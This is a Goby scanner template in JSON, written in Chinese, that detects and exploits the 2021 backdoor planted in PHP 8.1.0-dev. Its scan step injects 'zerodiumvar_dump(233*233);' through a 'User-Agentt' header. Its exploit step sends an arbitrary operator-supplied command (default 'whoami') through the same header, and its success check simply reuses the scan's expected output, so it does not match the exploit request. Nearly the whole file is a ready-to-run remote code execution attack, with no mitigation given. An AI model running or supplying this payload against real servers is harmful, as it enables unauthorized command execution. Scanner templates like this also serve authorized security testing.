php8.1backdoor.json

{
      "Name": "php8.1backdoor",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "app=php",
      "Description": "PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送User-Agentt头来执行任意代码。",
      "Product": "php",
      "Homepage": "https://gobies.org/",
      "Author": "k3vi_07@icloud.com",
      "Impact": "<p><span style=\"color: rgb(36, 41, 46); font-size: 16px;\">PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送</span><span style=\"color: rgb(36, 41, 46); font-size: 16px;\">User-Agentt</span><span style=\"color: rgb(36, 41, 46); font-size: 16px;\">头来执行任意代码。</span><br></p>",
      "Recommandation": "<p>无</p>",
      "References": [
            "https://gobies.org/"
      ],
      "HasExp": true,
        "ExpParams": [
            {
                  "name": "cmd",
                  "type": "input",
                  "value": "whoami",
                  "show": ""
            }
      ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/",
                        "follow_redirect": true,
                        "header": {
                              "User-Agentt": "zerodiumvar_dump(233*233);"
                        },
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "int(54289)",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
            "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/",
                        "follow_redirect": true,
                        "header": {
                              "User-Agentt": "{{{cmd}}}"
                        },
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "int(54289)",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "PostTime": "2021-04-01 11:40:29",
      "GobyVersion": "1.8.255"
}